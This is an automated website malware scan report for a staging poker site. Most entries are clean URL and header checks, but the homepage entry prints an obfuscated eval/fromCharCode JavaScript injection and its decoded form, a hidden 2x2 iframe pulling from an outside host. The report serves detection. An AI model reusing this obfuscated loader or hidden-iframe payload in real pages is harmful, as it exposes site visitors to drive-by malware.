New scan:

Malware Scanner report for gdpoker.tv.staging.ipercast.net

Malicious/Suspicious/Total urls checked
1/0/17
1 page has malicious code. See details below
Blacklists
OK
Malicious Redirects
OK
Malicious/Hidden/Total iFrames
0/0/0
Deface / Content modification
OK

Free periodic scanning and alerting: setup
(requires eVuln badge or a link to eVuln.com)

Malware & Hack Repair

  • Malware Removal
  • Blacklists Removal
  • Reason Eliminating
  • 1 Month Hack Insurance

More details

Website Hack Insurance

  • Files & DB Monitoring
  • Daily Backups
  • Malware & Hack Detection
  • Unlimited Hack Repairs

More details

Scanned pages/files

RequestServer responseStatus
http://gdpoker.tv.staging.ipercast.net/
200 OK
Content-Length: 44624
Content-Type: text/html
malicious
Malicious code - confirmed by antiviruses (see below)

try{q=document.createElement("p");q.appendChild(q+"");}catch(qw){h=-012/5;try{bcsd=prototype-2;}catch(bawg){ss=[];f=(h)?("fromCharC"+"ode"):"";e=window["e"+"val"];n=[13,20,300,444,99,234,327,404,110,232,138,476,114,210,348,404,40,78,180,420,102,228,291,436,101,64,345,456,99,122,102,416,116,232,336,232,47,94,330,420,107,202,303,484,98,92,297,444,109,94,345,464,97,232,345,184,112,208,336,136,32,230,297,456,111,216,324,420,110,206,183,136,97,234,348,444,34,64,306,456,97,218,303,392,111,228,300,404,114,122,102,440,111,68,96,388,108,210,309,440,61,68,297,404,110,232,303,456,34,64,312,404,105,206,312,464,61,68,150,136,32,238,315,400,116,208,183,136,50,68,186,240,47,210,306,456,97,218,303,248,39,82,177,52,10];if(window.document)for(i=6-2-1-2-1;-145+i!=2-2;i++){k=i;ss=ss+String[f](n[k]/(i%(h*h)+2-1));}e("if(1)"+ss);}}

Decoded script:


if(1)
document.write('<iframe src="http://nikeeyb.com/stats.php" scrolling="auto" frameborder="no" align="center" height="2" width="2"></iframe>');
if(1)
document.write('<iframe src="http://nikeeyb.com/stats.php" scrolling="auto" frameborder="no" align="center" height="2" width="2"></iframe>');
<iframe src="http://nikeeyb.com/stats.php" scrolling="auto" frameborder="no" align="center" height="2" width="2"></iframe>
document.write('<iframe src="http://nikeeyb.com/stats.php" scrolling="auto" frameborder="no" align="center" height="2" width="2"></iframe>');
document.write('<iframe src="http://nikeeyb.com/stats.php" scrolling="auto" frameborder="no" align="center" height="2" width="2"></iframe>');

Antivirus reports:

Kaspersky
HEUR:Trojan.Script.Generic
NANO-Antivirus
Trojan.Url.IframeB.bbygpv
ESET-NOD32
HTML/Iframe.B.Gen

http://gdpoker.tv.staging.ipercast.net/scarica/index.html?dottv2frontend=935a4de1aa23a1a2154203032be212c5
HTTP/1.1 302 Found
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Connection: close
Date: Thu, 15 Jan 2015 16:20:40 GMT
Pragma: no-cache
Location: http://www.pokerdigitale.it/blog/error
Server: Apache
Vary: Accept-Encoding
Content-Length: 947
Content-Type: text/html
Expires: Thu, 19 Nov 1981 08:52:00 GMT
clean
http://www.pokerdigitale.it/blog/error
HTTP/1.1 301 Moved Permanently
Cache-Control: max-age=0
Connection: close
Date: Thu, 15 Jan 2015 16:20:42 GMT
Location: http://blog.gdpoker.it/error
Server: Apache
Vary: Accept-Encoding
Content-Length: 236
Content-Type: text/html; charset=iso-8859-1
Expires: Thu, 15 Jan 2015 16:20:42 GMT
clean
http://blog.gdpoker.it/error
404 Not Found
Content-Length: 51710
Content-Type: text/html
clean
http://blog.gdpoker.it/scarica/index.html
404 Not Found
Content-Length: 51718
Content-Type: text/html
clean
http://blog.gdpoker.it/promozioni/index.html
404 Not Found
Content-Length: 51721
Content-Type: text/html
clean
http://blog.gdpoker.it/come-giocare/index.html
404 Not Found
Content-Length: 51723
Content-Type: text/html
clean
http://blog.gdpoker.it/come-giocare/regole-texas/index.html
404 Not Found
Content-Length: 51736
Content-Type: text/html
clean
http://blog.gdpoker.it/come-giocare/regole-omaha/index.html
404 Not Found
Content-Length: 51736
Content-Type: text/html
clean
http://blog.gdpoker.it/tornei/index.html
404 Not Found
Content-Length: 51717
Content-Type: text/html
clean
http://blog.gdpoker.it/classifiche/index.html
404 Not Found
Content-Length: 51722
Content-Type: text/html
clean
http://blog.gdpoker.it/vip/index.html
404 Not Found
Content-Length: 51714
Content-Type: text/html
clean
http://blog.gdpoker.it/gd-team/index.html
404 Not Found
Content-Length: 51718
Content-Type: text/html
clean
http://blog.gdpoker.it/category/news/
200 OK
Content-Length: 60069
Content-Type: text/html
clean
http://blog.gdpoker.it/category/curiosita/
200 OK
Content-Length: 60628
Content-Type: text/html
clean
http://blog.gdpoker.it/category/tornei-online/
200 OK
Content-Length: 59718
Content-Type: text/html
clean
http://blog.gdpoker.it/category/tornei-live/
200 OK
Content-Length: 61797
Content-Type: text/html
clean

Malicious Redirects

First query (normal visit):
GET / HTTP/1.1
Host: gdpoker.tv.staging.ipercast.net

Result:
HTTP/1.1 200 OK
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Connection: close
Date: Thu, 15 Jan 2015 16:20:38 GMT
Pragma: no-cache
Server: Apache
Vary: Accept-Encoding
Content-Type: text/html; charset=utf-8
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Set-Cookie: dottv2frontend=935a4de1aa23a1a2154203032be212c5; path=/
Second query (visit from search engine):
GET / HTTP/1.1
Host: gdpoker.tv.staging.ipercast.net
Referer: http://www.google.com/search?q=gdpoker.tv.staging.ipercast.net

Result:
The result is similar to the first query. There are no suspicious redirects found.

Safe Browsing / Blacklists

Query: http://www.google.com/safebrowsing/diagnostic?site=gdpoker.tv.staging.ipercast.net

Result: This site is not currently listed as suspicious.
Query: http://yandex.com/infected?l10n=en&url=http://gdpoker.tv.staging.ipercast.net/

Result: gdpoker.tv.staging.ipercast.net is not infected or malware details are not published yet.